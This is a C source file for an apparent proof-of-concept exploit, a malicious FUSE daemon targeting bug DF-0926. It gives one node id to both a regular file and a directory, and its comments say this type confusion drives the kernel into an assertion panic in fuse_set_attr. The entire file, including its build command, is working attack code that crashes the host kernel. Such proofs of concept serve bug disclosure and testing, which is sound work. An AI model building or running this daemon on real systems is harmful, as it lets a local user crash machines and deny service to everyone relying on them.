/*
 * fusedemo.c - malicious FUSE daemon for DF-0926 PoC.
 *
 * - LOOKUP("baitfile")   -> nodeid=100, mode=S_IFREG|0644 (creates a VREG node)
 * - MKDIR("crashdir")    -> returns nodeid=100 with mode=S_IFDIR|0755
 *                           (type confusion -> KKASSERT panic)
 *
 * Build: cc -o fusedemo fusedemo.c $(pkg-config fuse --cflags --libs) -D_FILE_OFFSET_BITS=64
 */
#define FUSE_USE_VERSION 26
#include <fuse.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

/* fixed nodeid reused across file and directory creates */
#define BAIT_INO 100

static int
fs_getattr(const char *path, struct stat *st)
{
    memset(st, 0, sizeof *st);
    if (strcmp(path, "/") == 0) {
        st->st_ino = 1;
        st->st_mode = S_IFDIR | 0755;
        st->st_nlink = 2;
        return 0;
    }
    if (strcmp(path, "/baitfile") == 0) {
        st->st_ino = BAIT_INO;
        st->st_mode = S_IFREG | 0644;
        st->st_nlink = 1;
        st->st_size = 0;
        return 0;
    }
    if (strcmp(path, "/crashdir") == 0) {
        /* The kernel will call fuse_alloc_node(BAIT_INO, VDIR) here.
         * It finds the existing VREG node -> mismatch -> KKASSERT panic
         * in fuse_set_attr (fuse_vnops.c:81). */
        st->st_ino = BAIT_INO;
        st->st_mode = S_IFDIR | 0755;
        st->st_nlink = 2;
        return 0;
    }
    return -ENOENT;
}

static int
fs_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
           off_t off, struct fuse_file_info *fi)
{
    (void)off; (void)fi;
    if (strcmp(path, "/") != 0)
        return -ENOENT;
    filler(buf, ".",  NULL, 0);
    filler(buf, "..", NULL, 0);
    filler(buf, "baitfile", NULL, 0);
    return 0;
}

static int
fs_mkdir(const char *path, mode_t mode)
{
    /* Returning success here triggers the kernel's fuse_alloc_node
     * + fuse_set_attr path on the conflicting type. */
    (void)path; (void)mode;
    return 0;
}

static int
fs_open(const char *path, struct fuse_file_info *fi)
{
    (void)fi;
    if (strcmp(path, "/baitfile") != 0)
        return -ENOENT;
    return 0;
}

static int
fs_read(const char *path, char *buf, size_t sz, off_t off,
        struct fuse_file_info *fi)
{
    (void)path; (void)buf; (void)sz; (void)off; (void)fi;
    return 0;
}

static struct fuse_operations fs_ops = {
    .getattr = fs_getattr,
    .readdir = fs_readdir,
    .mkdir   = fs_mkdir,
    .open    = fs_open,
    .read    = fs_read,
};

int
main(int argc, char **argv)
{
    return fuse_main(argc, argv, &fs_ops, NULL);
}
